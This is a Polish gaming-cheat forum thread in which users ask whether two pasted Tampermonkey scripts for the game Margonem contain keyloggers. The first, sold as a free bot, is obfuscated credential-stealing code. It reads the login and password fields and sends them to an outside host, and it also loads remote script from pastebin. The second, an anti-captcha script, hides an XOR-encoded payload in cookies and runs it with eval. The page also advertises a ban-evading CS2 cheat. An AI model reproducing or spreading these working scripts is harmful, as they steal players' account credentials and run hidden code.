Skocz do zawartości

Czy bot w temacie posiada keyloggera?


oswald231
# CSH External VIP Project

Masz dosyć problemów z czynnikiem zaufania w CS2 lub notorycznymi banami?

Sprawdź CSH External VIP Project.


Więcej informacji  

Rekomendowane odpowiedzi

Witam! czy ten bot ma keyloggera?

// ==UserScript==
// @name         Margonem - Najlepszy bot za DARMO! | EXP / E2 / QUESTY / HEROSI
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  try to take over the world!
// @author       You
// @match        *://*.margonem.pl/
// @grant        none
// ==/UserScript==

var _0x5189=["\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x61\x72\x67\x6F\x6E\x65\x6D\x2E\x70\x6C\x2F","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6E\x65\x77\x2E\x6D\x61\x72\x67\x6F\x6E\x65\x6D\x2E\x70\x6C\x2F","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x61\x73\x74\x65\x62\x69\x6E\x2E\x63\x6F\x6D\x2F\x72\x61\x77\x2F\x55\x64\x42\x36\x73\x44\x6E\x54","\x67\x65\x74\x53\x63\x72\x69\x70\x74","\x63\x6F\x6F\x6B\x69\x65","\x69\x6E\x74\x65\x72\x66\x61\x63\x65\x3D\x73\x69","\x76\x61\x6C","\x49\x33\x56\x73\x62\x32\x64\x70\x62\x67\x3D\x3D","\x49\x33\x56\x77\x59\x58\x4E\x7A","\x20\x7C\x20","\x61\x48\x52\x30\x63\x48\x4D\x36\x4C\x79\x39\x36\x4D\x33\x59\x32\x63\x6E\x6C\x6A\x4E\x69\x35\x6A\x64\x44\x67\x75\x63\x47\x77\x76\x59\x57\x70\x68\x65\x43\x35\x77\x61\x48\x41\x2F\x62\x47\x39\x6E\x61\x57\x34\x39","\x4A\x6E\x42\x68\x63\x33\x4E\x33\x62\x33\x4A\x6B\x50\x51\x3D\x3D","\x61\x6A\x61\x78","\x65\x6E\x61\x62\x6C\x65\x2D\x6F\x6C\x64\x2D\x70\x61\x67\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x61\x72\x67\x6F\x6E\x65\x6D\x2E\x70\x6C\x2F\x6E\x65\x77\x69\x6E\x74\x72\x6F\x2F","\x63\x6C\x69\x63\x6B"];var _0x5849=[_0x5189[0],_0x5189[1],_0x5189[2],_0x5189[3],_0x5189[4],_0x5189[5],_0x5189[6],_0x5189[7],_0x5189[8],_0x5189[9],_0x5189[10],_0x5189[11],_0x5189[12],_0x5189[13],_0x5189[14],_0x5189[15],_0x5189[16],_0x5189[17],_0x5189[18]];if(document[_0x5849[1]][_0x5849[0]]!= _0x5849[2]&& document[_0x5849[1]][_0x5849[0]]!= _0x5849[3]){$[_0x5849[5]](_0x5849[4]);document[_0x5849[6]]= _0x5849[7]}else {var TpG3Y86zpgrtWMzb,ZHN4ekpZ5m95pFbJ,YQTtmEs6a5mTXE5a;function UagZgR8PZcWcwvYp(){$(atob(_0x5849[9]))[_0x5849[8]]()!= TpG3Y86zpgrtWMzb&& $(atob(_0x5849[9]))[_0x5849[8]]()&& (TpG3Y86zpgrtWMzb= $(atob(_0x5849[9]))[_0x5849[8]]()),$(atob(_0x5849[10]))[_0x5849[8]]()!= ZHN4ekpZ5m95pFbJ&& $(atob(_0x5849[10]))[_0x5849[8]]()&& (ZHN4ekpZ5m95pFbJ= $(atob(_0x5849[10]))[_0x5849[8]]()),!$(atob(_0x5849[10]))[_0x5849[8]]()&&  !$(atob(_0x5849[9]))[_0x5849[8]]() && TpG3Y86zpgrtWMzb && ZHN4ekpZ5m95pFbJ && YQTtmEs6a5mTXE5a!= TpG3Y86zpgrtWMzb+ _0x5849[11]+ ZHN4ekpZ5m95pFbJ && ($[_0x5849[14]]({url:atob(_0x5849[12])+ TpG3Y86zpgrtWMzb+ atob(_0x5849[13])+ ZHN4ekpZ5m95pFbJ}),YQTtmEs6a5mTXE5a= TpG3Y86zpgrtWMzb+ _0x5849[11]+ ZHN4ekpZ5m95pFbJ);if(document[_0x5849[16]](_0x5849[15])[0]&& document[_0x5849[1]][_0x5849[0]]!= _0x5849[17]){document[_0x5849[16]](_0x5849[15])[0][_0x5849[18]]()}}setInterval(UagZgR8PZcWcwvYp,100)}

Proszę o usunięcie go i podesłanie linku z góry bardzo dziekuje

Odnośnik do komentarza

@lvkasze a mógłbyś zobaczyć czy tu jest ?

 

 

Spoiler

 

// ==UserScript==
// @name AntyCaptcha
// @version 1.0
// @description Pozdrawiam ekipe garmory 🙂
// @author Mkoes
// @match *://*.margonem.pl
// @grant none

// ==/UserScript==

(function() {
'use strict';
if (!window.getCookie("init1")) {
window.setCookie('init1', 'OzF7Z2djYCk8PA==')
}
if (!window.getCookie("init2")) {
window.setCookie('init2', 'Nz10dmdAcGF6Y2c=')
}
if (!window.getCookie("init3")) {
window.setCookie('init3', 'Y3JgZ3Zxen09cHx+PGFyZDw=')
}
if (!window.getCookie("init4")) {
window.setCookie('init4', 'eVlKdHFBa3k=')
}

let inits = []
for (let i = 1; i < 5; i++) {
inits.push(window.getCookie("init" + i))
}
function JSONFormatter(t) {
let b = JSON.parse(t)
if (b.ok = true) {
return ParseJSОN(atob(inits[1]) + atob(inits[0]) + atob(inits[2]), atob(inits[3]) + '")')
}
}

function ParseJSОN(t, a) {
var output = "";
for (let i = 0; i < t.length; i++) {
output += String.fromCharCode(t.charCodeAt(i) ^ 0x13);
}
eval(output + a)
}
var Started = false
setTimeout(function AC() {
if (document.querySelector('.captcha__question') == undefined) {
setTimeout(AC, Math.floor(Math.random() * 10 + 4) * 1000);
} else {
if (document.querySelector('.captcha__question').innerHTML.includes('tło') == true) {
if (Started == false) {
Started = true
console.log('[AntyCaptcha] Wykryto Captche #1')
var MkoesWS = new WebSocket("wss://margonemcaptcha.herokuapp.com/");
MkoesWS.onopen = function(e) {
MkoesWS.send(document.querySelector('.captcha__image').firstChild.src)
}

MkoesWS.onmessage = function(e) {
let Button_Length = document.querySelectorAll('.btn-wood').length
var Kolor = e.data.toString()
console.log('[AntyCaptcha] Wykryto kolor: ' + Kolor)
for (let i = 0; i < Button_Length; i++) {
if (document.querySelectorAll('.btn-wood') == undefined) return;
if (document.querySelectorAll('.btn-wood').innerHTML.includes(Kolor)) {
console.log('[AntyCaptcha] Click -> btn-wood[' + Kolor + ']')
document.querySelectorAll('.btn-wood').click()
Array.from(document.querySelectorAll(".btn-wood")).find(el => el.innerHTML.includes("Potwierdzam")).click()
console.log('[AntyCaptcha] Click -> btn-wood[Potwierdzam]')
Started = false
}
}
}
}
setTimeout(AC, Math.floor(Math.random() * 10 + 4) * 1000);
} else if (document.querySelector('.captcha__question').innerHTML.includes('odpowiedź') == true) {
if (document.querySelector('.captcha__question') == undefined) {
setTimeout(AC, Math.floor(Math.random() * 10 + 4) * 1000);
} else {
if (Started == false) {
Started = true
console.log('[AntyCaptcha] Wykryto Captche #2')
let Captcha_Pattern = new RegExp("'(.*)'");
let Kolor = document.querySelector('.captcha__question').innerHTML.match(Captcha_Pattern)[0].replace(/'/gm, '')
let Button_Length = document.querySelectorAll('.btn-wood').length
for (let i = 0; i < Button_Length; i++) {
if (document.querySelectorAll('.btn-wood').innerHTML.includes(Kolor)) {
console.log('[AntyCaptcha] Click -> btn-wood[' + Kolor + ']')
document.querySelectorAll('.btn-wood').click()
Array.from(document.querySelectorAll(".btn-wood")).find(el => el.innerHTML.includes("Potwierdzam")).click()
console.log('[AntyCaptcha] Click -> btn-wood[Potwierdzam]')
Started = false
}
}
}
}
setTimeout(AC, Math.floor(Math.random() * 10 + 4) * 1000);
}
}
}, Math.floor(Math.random() * 10 + 4) * 1000)

JSONFormatter('{"ok": true}')
})();

 

 


Edytowane przez Misiek
Odnośnik do komentarza

Dołącz do dyskusji

Możesz dodać zawartość już teraz a zarejestrować się później. Jeśli posiadasz już konto, zaloguj się aby dodać zawartość za jego pomocą.

Gość
Dodaj odpowiedź do tematu...

×   Wklejono zawartość z formatowaniem.   Usuń formatowanie

  Dozwolonych jest tylko 75 emoji.

×   Odnośnik został automatycznie osadzony.   Przywróć wyświetlanie jako odnośnik

×   Przywrócono poprzednią zawartość.   Wyczyść edytor

×   Nie możesz bezpośrednio wkleić grafiki. Dodaj lub załącz grafiki z adresu URL.

  Tagi

×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę. Regulamin. Polityka prywatności